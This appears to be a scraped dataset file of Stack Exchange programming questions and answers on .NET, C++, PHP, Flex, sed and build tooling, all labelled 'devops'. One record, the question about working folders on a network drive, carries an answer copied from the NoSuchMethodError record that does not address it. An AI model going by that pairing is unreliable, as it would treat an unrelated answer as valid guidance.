{"id": "hf_d4b0807d9ae8", "question": "<p>I've tried two different methods of reusing code. I have a solution full of just class library projects with generic code that I reuse in almost every project I work on. When I get to work on a new project, I will reuse code from this code library in one of two ways:</p>\n<ol>\n<li>I have tried bringing the projects I need from this code library into my project.</li>\n<li>I have also tried compiling down to a .dll and referencing the .dll from a folder in the root of my current solution.</li>\n</ol>\n<p>While the second method seems easier and lighter to implement, I always find myself making small tweaks to the original code to fit it into the context of my current project.</p>\n<p>I know this is a bit of a vague question, but has anyone had success with other methods of reusing class libraries on new solutions?</p>\n", "question_body": "", "answer": "In short, what you are doing is right, you want to move the common code into a class library (DLL) and then reference that in any projects that require its logic.\nWhere you are going wrong is that you are not\nmaintaining\nit. If you need to make little \"tweaks\",\nsubclass\nyour existing code and extend it, dont change it.. If there are major changes needed, then re-think the design.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.969273"}
{"id": "hf_e42ad702a19f", "question": "<p>I have recently installed .net 3.5 SP1.  When I deployed a compiled web site that contained a form with its action set:</p>\n\n<pre><code>&lt;form id=\"theForm\" runat=\"server\" action=\"post.aspx\"&gt;\n</code></pre>\n\n<p>I received this error.<br>\nMethod not found: 'Void System.Web.UI.HtmlControls.HtmlForm.set_Action(System.String)'.<br>\nIf a fellow developer who has not installed SP1 deploys the compiled site it works fine.  Does anyone know of any solutions for this?</p>\n", "question_body": "", "answer": "I don't know the specific solution, but HtmlForm.set_Action() is a function the compiler creates that acts as the setter for a property called Action.\nWhen you do:\n```\n```\npublic String Action { set { DoStuff(); } }\n```\n```\nThe\nset\ncode actually becomes a function called\nset_Action\n.\nI know it's not the best answer, but I hope it helps you find the source of your problems!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.006464"}
{"id": "hf_3a24e80ae78e", "question": "<p>What is a good setup for .hgignore file when working with Visual Studio 2008?</p>\n\n<p>I mostly develop on my own, only occasionly I clone the repository for somebody else to work on it.</p>\n\n<p>I'm thinking about obj folders, .suo, .sln, .user files etc.. Can they just be included or are there file I shouldn't include?</p>\n\n<p>Thanks!</p>\n\n<p>p.s.: at the moment I do the following : ignore all .pdb files and all obj folders.</p>\n\n<pre><code># regexp syntax.\nsyntax: glob\n*.pdb\n\nsyntax: regexp\n/obj/\n</code></pre>\n", "question_body": "", "answer": "This is specific to a C# project, but I ignore these files/directories:\n```\n*.csproj.user\n```\n```\n/obj/*\n```\n```\n/bin/*\n```\n```\n*.ncb\n```\n```\n*.suo\n```\nI have no problems running the code in the depot on other machines after I ignore all of these files. The easiest way to find out what you need to keep is to make a copy of the folder and start deleting things you think aren't necessary. Keep trying to build, and as long as you can build successfully keep on deleting. If you delete too much, copy it from the source folder.\nIn the end you'll have a nice directory full of the only files that have to be committed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.030877"}
{"id": "hf_5dd3aa70a1ad", "question": "<p>I'm trying to write a custom WPF ValidationRule to enforce that a certain property is unique within the context of a given collection. For example: I am editing a collection of custom objects bound to a ListView and I need to ensure that the Name property of each object in the collection is unique. Does anyone know how to do this?</p>\n", "question_body": "", "answer": "First, I'd create a simple DependencyObject class to hold your collection:\n```\n```\nclass YourCollectionType : DependencyObject {\n\n    [PROPERTY DEPENDENCY OF ObservableCollection<YourType> NAMED: BoundList]\n\n}\n```\n```\nThen, on your ValidationRule-derived class, create a property:\n```\n```\nYourCollectionType ListToCheck { get; set; }\n```\n```\nThen, in the XAML, do this:\n```\n```\n<Binding.ValidationRules>\n    <YourValidationRule>\n       <YourValidationRule.ListToCheck>     \n          <YourCollectionType BoundList=\"{Binding Path=TheCollectionYouWantToCheck}\" />\n       </YourValidationRule.ListToCheck>\n    </YourValidationRule>\n</Binding.ValidationRules>\n```\n```\nThen in your validation, look at ListToCheck's BoundList property's collection for the item that you're validating against. If it's in there, obviously return a false validation result. If it's not, return true.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.081442"}
{"id": "hf_802668372ecf", "question": "<p>In the PHP manual, to show the syntax for functions with optional parameters, they use brackets around each set of dependent optional parameter. For example, for the <a href=\"http://php.net/date\" rel=\"noreferrer\"><code>date()</code></a> function, the manual reads:</p>\n\n<pre><code>string date ( string $format [, int $timestamp = time() ] )\n</code></pre>\n\n<p>Where <code>$timestamp</code> is an optional parameter, and when left blank it defaults to the <a href=\"http://php.net/time\" rel=\"noreferrer\"><code>time()</code></a> function's return value.</p>\n\n<p>How do you go about creating optional parameters like this when defining a custom function in PHP?</p>\n", "question_body": "", "answer": "Much like the manual, use an equals (\n```\n=\n```\n) sign in your definition of the parameters:\n```\n```\nfunction dosomething($var1, $var2, $var3 = 'somevalue'){\n    // Rest of function here...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.181430"}
{"id": "hf_74ddb56748bf", "question": "<p>I need debug some old code that uses a Hashtable to store response from various threads.</p>\n\n<p>I need a way to go through the entire Hashtable and print out both keys and the data in the Hastable.</p>\n\n<p>How can this be done?</p>\n", "question_body": "", "answer": "```\n```\nforeach(string key in hashTable.Keys)\n{\n   Console.WriteLine(String.Format(\"{0}: {1}\", key, hashTable[key]));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.206200"}
{"id": "hf_19f0a1e031d3", "question": "<p>The manual page for <code>XML::Parser::Style::Objects</code> is horrible.  A simple hello world style program would really be helpful.</p>\n\n<p>I really wanted to do something like this: (not real code of course)</p>\n\n<pre><code>use XML::Parser;\nmy $p = XML::Parser-&gt;new(Style =&gt; 'Objects', Pkg =&gt; 'MyNode');\nmy $tree = $p-&gt;parsefile('foo.xml');\n$tree-&gt;doSomething();\n\nMyNode::doSomething() {\n  my $self = shift;\n  print \"This is a normal node\";\n  for $kid ($self-&gt;Kids)\n  {\n    $kid-&gt;doSomething();\n  }\n}\n\nMyNode::special::doSomething() {\n  my $self = shift;\n  print \"This is a special node\";\n}\n</code></pre>\n", "question_body": "", "answer": "When ever I need to do something similar, usually I end up using\nXML::Parser::EasyTree\nit has better documentation and is simpler to use.\nI highly recommend it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.254484"}
{"id": "hf_b46ddda17450", "question": "<p>Is there anything similar to rails' scaffolding for pylons? I've been poking around google, but only found this thing called dbsprockets, which is fine, although probably way too much for my needs. What I really need is a basic CRUD that is based on the SQLAlchemy model.</p>\n", "question_body": "", "answer": "I hear you, I've followed the Pylons mailing list for a while looking for something similar. There have been some attempts in the past (see\nAdminPylon\nand\nRestin\n) but none have really kept up with SQLAlchemy's rapidly developing orm api.\nSince DBSprockets is likely to be incorporated into TurboGears it will likely be maintained. I'd bite the bullet and go with that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.278046"}
{"id": "hf_f9c9de6cf2e5", "question": "<p>Is it possible to do 3.1 or 5.1 audio using Flash?  We're starting a project here for an interactive kiosk, and we've been told to use Flash.  However, we also have a requirement to support either 3.1 or 5.1 audio (where 5.1 is the most wanted feature).  </p>\n\n<p>I haven't done any high-tech audio stuff using Flash, so I was wondering if anyone knew if it was possible to do?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "A quick google search gave me this forum\nhttp://board.flashkit.com/board/showthread.php?t=715062\nwhere they state that Flash is unable to handle 5.1 audio and the alternative is to use another application that can communicate with Flash to handle the audio side of things.\nI also found this blog entry from Summit Projects\nhttp://summitprojectsflashblog.wordpress.com/2008/08/07/wave-theory-in-actionscript-3-part-4/\nwhere they go into great detail about byte handling and processing audio samples. I'm not sure if they are using their own actionscript libraries for this, or if they are using Adobe's libraries. I'm not too up to speed on the audio side of Flash with respects to surround sound.\nI think your two options might have to be either using a separate application to run your audio(which may be less stressful) or maybe getting in touch with the Summit people if you are as lost as I am over some of the concepts they touch on, heh. Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.314452"}
{"id": "hf_7a9fa55b51fb", "question": "<p>When building projects in C++, I've found debugging linking errors to be tricky, especially when picking up other people's code.  What strategies do people use for debugging and fixing linking errors?</p>\n", "question_body": "", "answer": "One of the common linking errors I've run into is when a function is used differently from how it's defined.  If you see such an error you should make sure that every function you use is properly declared in some .h file.\nYou should also make sure that all the relevant source files are compiled into the same lib file.  An error I've run into is when I have two sets of files compiled into two separate libraries, and I cross-call between libraries.\nIs there a failure you have in mind?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.380351"}
{"id": "hf_7054f28eb17d", "question": "<p>The company I work for is starting to have issues with their current branching model and I was wondering what different kinds of branching strategies the community has been exposed to?</p>\n\n<p>Are there any good ones for different situations?  What does your company use?  What are the advantages and disadvantages of them??</p>\n", "question_body": "", "answer": "We currently have one branch for ongoing maintenance, one branch for \"new initiatives\" which just means \"stuff that will come out sometime in the future; we're not sure when.\" We have also occasionally had two maintenance branches going on: one to provide fixes for what is currently in production and one that is still in QA.\nThe main advantage we've seen is the ability to react to user requests and emergencies more rapidly.  We can do the fix on the branch that is in production and release it without releasing anything extra that may have already been checked in.\nThe main disadvantage is that we end up doing a lot of merging between branches, which increases the chance that something will get missed or merged incorrectly. So far, that hasn't been a problem, but it is definitely something to keep in mind.\nBefore we instituted this policy, we generally did all development in the trunk and only branched when we released code. We then did fixes against that branch as needed. It was simpler, but not as flexible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.417563"}
{"id": "hf_ecf9ae3a992e", "question": "<p>I am trying to iterate over all the elements of a static array of strings in the best possible way. I want to be able to declare it on one line and easily add/remove elements from it without having to keep track of the number. Sounds really simple, doesn't it?</p>\n\n<p>Possible non-solutions:</p>\n\n<pre><code>vector&lt;string&gt; v;\nv.push_back(\"abc\");\nb.push_back(\"xyz\");\n\nfor(int i = 0; i &lt; v.size(); i++)\n    cout &lt;&lt; v[i] &lt;&lt; endl;\n</code></pre>\n\n<p>Problems - no way to create the vector on one line with a list of strings</p>\n\n<p>Possible non-solution 2:</p>\n\n<pre><code>string list[] = {\"abc\", \"xyz\"};\n</code></pre>\n\n<p>Problems - no way to get the number of strings automatically (that I know of).</p>\n\n<p>There must be an easy way of doing this.</p>\n", "question_body": "", "answer": "Problems - no way to get the number of strings automatically (that i know of).\nThere is a bog-standard way of doing this, which lots of people (including MS) define macros like\n```\narraysize\n```\nfor:\n```\n```\n#define arraysize(ar)  (sizeof(ar) / sizeof(ar[0]))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.466785"}
{"id": "hf_b5e554f53e76", "question": "<p>We have some really old code that calls WebServices using behaviours (webservice.htc), and we are having some strange problems... since they've been deprecated a long time ago, I want to change the call.</p>\n\n<p>What's the correct way of doing it? It's ASP.NET 1.1</p>\n", "question_body": "", "answer": "While I'm not 100% sure what the Web Service behavior does, I recall it allows client-side script to call Web Services, which would make AJAX it's contemporary replacement.\nSince you're using .NET 1.1 how about using\nAjax.NET Professional\nto connect to the web services?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.490568"}
{"id": "hf_98f695f3cfb0", "question": "<p>I've got a whole directory of dll's I need to register to the GAC. I'd like to avoid registering each file explicitly- but it appears that gacutil has no \"register directory\" option. Anyone have a fast/simple solution?</p>\n", "question_body": "", "answer": "GACUTIL doesn't register DLLs -- not in the \"COM\" sense. Unlike in COM, GACUTIL copies the file to an opaque directory under %SYSTEMROOT%\\assembly and that's where they run from. It wouldn't make sense to ask GACUTIL \"register a folder\" (not that you can do that with RegSvr32 either).\nYou can use a batch FOR command such as:\n```\n```\nFOR %a IN (C:\\MyFolderWithAssemblies\\*.dll) DO GACUTIL /i %a\n```\n```\nIf you place that in a batch file, you must replace %a with %%a", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.538832"}
{"id": "hf_68f3d547e262", "question": "<p>How can I call a custom action dll written in managed code (.net) from an installer without using an unmanaged intermediary?</p>\n", "question_body": "", "answer": "There is support for exactly this in .NET/Windows Installer\nCreate an assembly using VS.NET.\nAdd an installer class to the project - select 'Add - New Item'. Select intaller class.\nThis class derives from System.Configuration.Install.Installer. It has a number of virtual methods such as Install(). This will be called when by the windows installer engine at install time.\nThis assembly can then be added to your Windows Installer project as a custom action. The method used to declare the custom action as a .NET installer class depends on the tool you are using to create the installation.\nSorry this is a little brief.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.611893"}
{"id": "hf_6d36cf3bbed6", "question": "<p>After the suggestion to use a library for <a href=\"https://stackoverflow.com/questions/34486/what-more-is-needed-for-ajax-than-this-function\">my ajax needs</a> I am going to use one, the problem is that there are so many and I've no idea how to even begin telling them apart.</p>\n\n<p>Thus, can anybody <br />\nA) Give a rundown of the differences or <br />\nB) Point me (and others like me) somewhere that has such a list. \n<br /><br />Failing that plan C is to go with whichever gets mentioned the most here.</p>\n", "question_body": "", "answer": "To answer B:\nComparison of JavaScript frameworks\nEDIT:\nAlthough everyone and their mom is apparently riding the\njQuery\nbandwagon (I use\nMochiKit\n), there are many libraries which provide the same functionality - the problem set which most libraries solve (async client-server communication, DOM manipulation, etc.) is the same, and there are few that don't have what you will need to get the job done.\nThe important thing to determine for yourself is whether or not a library will fit your particular style and sensibilities. Wide-spread ignorance about how\nJavaScript\n, the language, actually works, coupled with the negative press resulting thereby, coupled with the now-immense popularity of jQuery leads most people down that road. Thankfully, it isn't a bad road to be on as there are a lot of travellers to keep you company when the abstractions leak and you need help. You probably can't go wrong choosing jQuery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.636604"}
{"id": "hf_ba5e508a1788", "question": "<p>What's the best way to programmatically merge a .reg file into the registry? This is for unit testing; the .reg file is a test artifact which will be added then removed at the start and end of testing.</p>\n\n<p>Or, if there's a better way to unit test against the registry...</p>\n", "question_body": "", "answer": "I looked into it by checking out my file associations.\nIt seems that a .reg file is just called as the first parameter to the\n```\nregedit.exe\n```\nexecutable on Windows.\nSo you can just say\n```\nregedit.exe \"mytest.reg\"\n```\n. What I'm not sure of is how to get rid of the dialog box that pops up that asks for your confirmation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.661738"}
{"id": "hf_0679185a2deb", "question": "<p>I've found <a href=\"http://msdn.microsoft.com/en-us/library/system.web.configuration.scriptingjsonserializationsection.scriptingjsonserializationsection.aspx\" rel=\"noreferrer\"><code>ScriptingJsonSerializationSection</code></a> but I'm not sure how to use it. I could write a function to convert the object to a JSON string manually, but since .Net can do it on the fly with the <code>&lt;System.Web.Services.WebMethod()&gt;</code> and <code>&lt;System.Web.Script.Services.ScriptMethod()&gt;</code> attributes so there must be a built-in way that I'm missing. </p>\n\n<p>PS: using Asp.Net 2.0 and VB.Net - I put this in the tags but I think people missed it.</p>\n", "question_body": "", "answer": "This should do the trick\n```\n```\nDim jsonSerialiser As New System.Web.Script.Serialization.JavaScriptSerializer\nDim jsonString as String = jsonSerialiser.Serialize(yourObject)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.725164"}
{"id": "hf_8f6bd8140427", "question": "<p>I know that the following is true</p>\n\n<pre><code>int i = 17; //binary 10001\nint j = i &lt;&lt; 1; //decimal 34, binary 100010\n</code></pre>\n\n<p>But, if you shift too far, the bits fall off the end.  Where this happens is a matter of the size of integer you are working with.</p>\n\n<p>Is there a way to perform a shift so that the bits rotate around to the other side?  I'm looking for a single operation, not a for loop.</p>\n", "question_body": "", "answer": "If you know the size of type, you could do something like:\n```\n```\nuint i = 17;\nuint j = i << 1 | i >> 31;\n```\n```\n... which would perform a circular shift of a 32 bit value.\nAs a generalization to circular shift left n bits, on a b bit variable:\n```\n```\n/*some unsigned numeric type*/ input = 17;\nvar result = input  << n | input  >> (b - n);\n```\n```\n@The comment, it appears that C# does treat the high bit of signed values differently.  I found some info on this\nhere\n.  I also changed the example to use a uint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.773562"}
{"id": "hf_5ecb72980e70", "question": "<p>I'm getting a <code>NoSuchMethodError</code> error when running my Java program.  What's wrong and how do I fix it?</p>\n", "question_body": "", "answer": "This is usually caused when using a build system like\nApache Ant\nthat only compiles java files when the java file is newer than the class file.  If a method signature changes and classes were using the old version things may not be compiled correctly.  The usual fix is to do a full rebuild (usually \"ant clean\" then \"ant\").\nSometimes this can also be caused when compiling against one version of a library but running against a different version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.835740"}
{"id": "hf_739f4fab3e6c", "question": "<p>Have you guys had any experiences (positive or negative) by placing your source code/solution on a network drive for Visual Studio 2005 or 2008?  Please note I am not referring to placing your actual source control system on that drive, but rather your working folder.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This is usually caused when using a build system like\nApache Ant\nthat only compiles java files when the java file is newer than the class file.  If a method signature changes and classes were using the old version things may not be compiled correctly.  The usual fix is to do a full rebuild (usually \"ant clean\" then \"ant\").\nSometimes this can also be caused when compiling against one version of a library but running against a different version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.860769"}
{"id": "hf_011a413e46a5", "question": "<p>The compiler usually chokes when an event doesn't appear beside a <code>+=</code> or a <code>-=</code>, so I'm not sure if this is possible.</p>\n\n<p>I want to be able to identify an event by using an Expression tree, so I can create an event watcher for a test. The syntax would look something like this:</p>\n\n<pre><code>using(var foo = new EventWatcher(target, x =&gt; x.MyEventToWatch) {\n    // act here\n}   // throws on Dispose() if MyEventToWatch hasn't fired\n</code></pre>\n\n<p>My questions are twofold:</p>\n\n<ol>\n<li>Will the compiler choke? And if so, any suggestions on how to prevent this?</li>\n<li>How can I parse the Expression object from the constructor in order to attach to the <code>MyEventToWatch</code> event of <code>target</code>?</li>\n</ol>\n", "question_body": "", "answer": "A .NET event isn't actually an object, it's an endpoint represented by two functions -- one for adding and one for removing a handler.  That's why the compiler won't let you do anything other than += (which represents the add) or -= (which represents the remove).\nThe only way to refer to an event for metaprogramming purposes is as a System.Reflection.EventInfo, and reflection is probably the best way (if not the only way) to get ahold of one.\nEDIT: Emperor XLII has written some beautiful code which should work for your own events, provided you've declared them from C# simply as\n```\n```\npublic event DelegateType EventName;\n```\n```\nThat's because C# creates two things for you from that declaration:\nA private delegate field to serve as the backing\nstorage for the event\nThe actual event along with\nimplementation code that makes use\nof the delegate.\nConveniently, both of these have the same name.  That's why the sample code will work for your own events.\nHowever, you can't rely on this to be the case when using events implemented by other libraries.  In particular, the events in Windows Forms and in WPF don't have their own backing storage, so the sample code will not work for them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.898525"}
{"id": "hf_7cd7162bb570", "question": "<p>I have a Flex <code>ComboBox</code> that gets populated by a <code>dataprovider</code> all is well...</p>\n\n<p>I would now like to add a default \" -- select a item --\" option at the 0 index, how can I do this and still use a <code>dataprovider</code>? I have not seen any examples of such, but I can't imagine this being hard...</p>\n", "question_body": "", "answer": "The way I've dealt with this in the past is to create a new collection to serve as the data provider for the combobox, and then I listen for changes to the original source (using an\n```\nmx.BindingUtils.ChangeWatcher\n```\n).  When I get such a notification, I recreate my custom data provider.\nI wish I knew a better way to approach this; I'll monitor this question just in case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.923509"}
{"id": "hf_e53c48ee8924", "question": "<p>I used the jQuery Form plugin for asynchronous form submission. For forms that contain files, it copies the form to a hidden iframe, submits it, and copies back the iframe's contents. The problem is that I can't figure out how to find what HTTP status code was returned by the server. For example, if the server returns 404, the data from the iframe will be copied as normal and treated as a regular response.</p>\n\n<p>I've tried poking around in the iframe objects looking for some sort of <code>status_code</code> attribute, but haven't been able to find anything like that.</p>\n\n<hr>\n\n<p>The <code>$.ajax()</code> function can't be used, because it does not support uploading files. The only way to asynchronously upload files that I know of is using the hidden <code>iframe</code> method.</p>\n", "question_body": "", "answer": "You can't get page headers by JS, but you can distinguish error from success:\nTry something like this:\n```\n```\n<script type=\"text/javascript\">\n\n    var uploadStarted = false;\n    function OnUploadStart(){            \n        uploadStarted = true;\n    }\n\n    function OnUploadComplete(state,message){       \n\n       if(state == 1)\n        alert(\"Success: \"+message);     \n       else\n         if(state == 0 && uploadStarted)\n            alert(\"Error:\"+( message ? message : \"unknow\" ));\n    }   \n\n</script>\n\n<iframe id=\"uploader\" name=\"uploader\" onload=\"OnUploadComplete(0)\" style=\"width:0px;height:0px;border:none;\"></iframe>\n\n<form id=\"sender\" action=\"/upload.php\" method=\"post\" target=\"uploader\" enctype=\"multipart/form-data\" onsubmit=\"OnUploadStart()\">\n<input type=\"file\" name=\"files[upload]\"/>\n<input type=\"submit\" value=\"Upload\"/>\n</form>\n```\n```\nOn server side:\n```\n```\n/*\n  file: upload.php\n*/\n<?php \n\n   // do some stuff with file       \n\n  print '<script type=\"text/javascript\">';\n  if(success)\n     print 'window.parent.OnUploadComplete(1,\"File uploaded!\");';\n  else\n     print 'window.parent.OnUploadComplete(0, \"File too large!\");';\n  print  '</script>';\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:19.976968"}
{"id": "hf_e5cc079c3c1d", "question": "<p>I want to escape a DOS filename so I can use it with sed. I have a DOS batch file something like this:</p>\n\n<pre><code>set FILENAME=%~f1\n\nsed 's/Some Pattern/%FILENAME%/' inputfile\n</code></pre>\n\n<p>(Note: <code>%~f1</code> - expands <code>%1</code> to a Fully qualified path name - <code>C:\\utils\\MyFile.txt</code>)</p>\n\n<p>I found that the backslashes in <code>%FILENAME%</code> are just escaping the next letter.</p>\n\n<p>How can I double them up so that they are escaped?</p>\n\n<p>(I have cygwin installed so feel free to use any other *nix commands)</p>\n\n<h1>Solution</h1>\n\n<p>Combining Jeremy and Alexandru Nedelcu's suggestions, and using | for the delimiter in the sed command I have</p>\n\n<pre><code>set FILENAME=%~f1\ncygpath \"s|Some Pattern|%FILENAME%|\" &gt;sedcmd.tmp\nsed -f sedcmd.tmp inputfile\ndel /q sedcmd.tmp\n</code></pre>\n", "question_body": "", "answer": "This will work.  It's messy because in BAT files you can't use set var=`cmd` like you can in unix.\nThe fact that echo doesn't understand quotes is also messy, and could lead to trouble if\n```\nSome Pattern\n```\ncontains shell meta characters.\n```\n```\nset FILENAME=%~f1\necho s/Some Pattern/%FILENAME%/ | sed -e \"s/\\\\/\\\\\\\\/g\" >sedcmd.tmp\nsed -f sedcmd.tmp inputfile\ndel /q sedcmd.tmp\n```\n```\n[Edited]: I am suprised that it didn't work for you.  I just tested it, and it worked on my machine.  I am using sed from\nhttp://sourceforge.net/projects/unxutils\nand using cmd.exe to run those commands in a bat file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.026211"}
{"id": "hf_de4ddf96dc30", "question": "<p>I do a lot of work in the grid and HPC space and one of the biggest challenges we have with a system distributed across hundreds (or in some case thousands) of servers is analysing the log files.  </p>\n\n<p>Currently log files are written locally to the disk on each blade but we could also consider publishing logging information using for example a UDP Appender and collect it centally.</p>\n\n<p>Given that the objective is to be able to identify problems in as close to real time as possible, what should we do?</p>\n", "question_body": "", "answer": "First, synchronize all clocks in the system using NTP.\nSecond, if you are collecting the logs in a single location (like the UDP appender you mention) make sure the logs have enough information to actually help.  I would include at least the server that generated the log, the time it happened, and the message.  If there is any sort of transaction id, or job id type concept, include that also.\nSince you mentioned a UDP Appender I am guessing you are using log4j (or one of it's siblings).  Log4j has an MDC class that allows extra information to be passed along through a processing thread.  it can help collect some of the extra information and pass it along.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.050564"}
{"id": "hf_4a9fd82dfecd", "question": "<p>I'm compiling a simple .c in visual c++ with Compile as C Code (/TC)\nand i get this compiler error </p>\n\n<blockquote>\n  <p>error C2143: syntax error : missing ';' before 'type'</p>\n</blockquote>\n\n<p>on a line that calls for a simple struct </p>\n\n<pre><code> struct foo test;\n</code></pre>\n\n<p>same goes for using the typedef of the struct.</p>\n\n<blockquote>\n  <p>error C2275: 'FOO' : illegal use of this type as an expression</p>\n</blockquote>\n", "question_body": "", "answer": "Did you accidentally omit a semicolon on a previous line? If the previous line is an\n```\n#include\n```\n, you might have to look elsewhere for the missing semicolon.\nEdit: If the rest of your code is valid C++, then there probably isn't enough information to determine what the problem is. Perhaps you could post your code to a\npastebin\nso we can see the whole thing.\nIdeally, in the process of making it smaller to post, it will suddenly start working and you'll then have discovered the problem!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.137090"}
